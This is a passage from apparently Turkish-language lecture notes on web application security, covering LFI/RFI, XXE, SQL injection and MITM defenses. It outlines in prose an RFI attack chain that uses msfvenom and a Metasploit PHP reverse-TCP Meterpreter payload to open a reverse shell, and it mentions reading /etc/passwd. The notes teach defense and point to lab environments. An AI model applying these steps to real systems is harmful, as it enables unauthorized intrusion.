Bu sayede saldırgan, Linux komutları ile uzak bilgisayar kontrolünü gerçekleştirebilir.



WEB SIZMA TEKNİKLERİ: FILE INJECTION (DOSYA ENJEKSİYONU)

File Injection, bir saldırganın web uygulamasına veya sistemine zararlı dosyaları enjekte etmesi anlamına gelir.

Genellikle güvenlik zafiyetlerinden veya hatalı yapılandırılmış güvenlik önlemlerinden yararlanılarak gerçekleşir.

Bu tür saldırılar, hedef sistemi istenmeyen veya zararlı bir şekilde etkileyebilir. Korunmak için güvenli kodlama prensipleri takip edilmeli, veri girişleri filtrelenmeli/doğrulanmalı ve yetkisiz erişime karşı önlemler alınmalıdır.

FILE INCLUSION ZAFİYETLERİ (RFI/LFI)

Remote File Inclusion (RFI) ve Local File Inclusion (LFI), File Injection'ın alt dallarıdır.

LFI: Saldırgan, adres çubuğunda dosya ismini değiştirerek sistemdeki başka bir dosyaya ulaşır (Örn: 'lang_en.php' yerine '/etc/passwd').

RFI: Saldırgan, uzaktaki bir sunucuda bulunan zararlı dosyaları hedef sisteme dahil etmeye çalışır.

Bu zafiyetler kullanılarak, saldırgan hedef sisteme Meterpreter (Metasploit payload) gibi zararlı kodları yükleyip çalıştırabilir.

RFI/LFI İLE METERPRETER İSTİSMARI

Metasploit Konsolu ('msfconsole') ile 'payload/php/meterpreter_reverse_tcp' modülü seçilir.

Saldırgan, 'msfvenom' komutuyla Kali üzerinde bir meterpreter dosyası oluşturur ve bu dosyayı bir HTTP sunucusu (Python 'SimpleHTTPServer') üzerinden hedefe sunar.

Exploit çalıştırıldıktan sonra hedef sistemin URL'sine RFI isteği gönderilerek ters TCP bağlantısı (reverse shell) gerçekleştirilir.

Sızma başarılı olduğunda, 'sessions -i 1' komutu ile hedef sistemin oturumu ele geçirilir.



WEB SIZMA TEKNİKLERİ: XXE (XML EXTERNAL ENTITY) ATTACK

XXE, uygulamanın güvensiz bir şekilde XML verilerini işlemesini kullanarak kötü niyetli XML dokümanlarını enjekte etme yöntemidir.

Bu saldırılar, sunucu tarafındaki hassas dosyaları okuma veya hizmet dışı bırakma (DoS) gibi sonuçlara yol açabilir.

XML işleme motorlarının dış varlıkları (external entities) çözümlemesini kısıtlayarak bu saldırı türünden korunulabilir.

SQL Injection'dan kaçınma yöntemlerinin tekrarı:

1. Kullanıcı Girişlerini Doğrulama
2. Parametrelili Sorgular ve Stored Procedure Kullanımı
3. En Az Yetki Prensipli Uygulaması (SELECT kısıtlamaları)
4. Veri Tabanı ve İşletim Sistemi Yama Yönetimi
5. Hata Mesajlarını Düzenleme (Gereğinden fazla açıklama yapmamak)

MITM saldırıları, özellikle yerel ağda çok tehlikelidir.

MITM savunma stratejileri:

HTTPS/SSL kullanmak ve HSTS uygulamak (SSL Strip'e karşı).

DNS Spoofing'e karşı DNSSEC gibi güvenilir DNS çözümleme mekanizmaları kullanmak.

ARP Spoofing'e karşı ARP tablolarını statik olarak yapılandırmak veya ağ izleme araçları kullanmak.

Genel ağ trafiği izlemesi (Logging and Monitoring).



SONUÇ: BÜTÜNCÜL GÜVENLİK YAKLAŞIMI

Web uygulama güvenliği, tek bir önlemle sağlanamaz; Veri Doğrulama, En Az Yetki, Güvenli İletişim ve Sürekli Test (Penetrasyon testleri) gibi temel ilkelerin bir arada uygulanması gerekir.

Saldırganlar, SQL Injection veya MITM gibi zafiyetleri kullanarak ciddi veri kayıplarına yol açabilir.

Siber güvenlik alanında uzmanlaşmak için DVWA ve bWAPP gibi laboratuvar ortamlarında pratik yapmak hayati önem taşır.



WEB UYGULAMA GÜVENLİĞİNE GİRİŞ

Süleyman **EZDEMİR**

suleyman.ezdemir@giresun.edu.tr

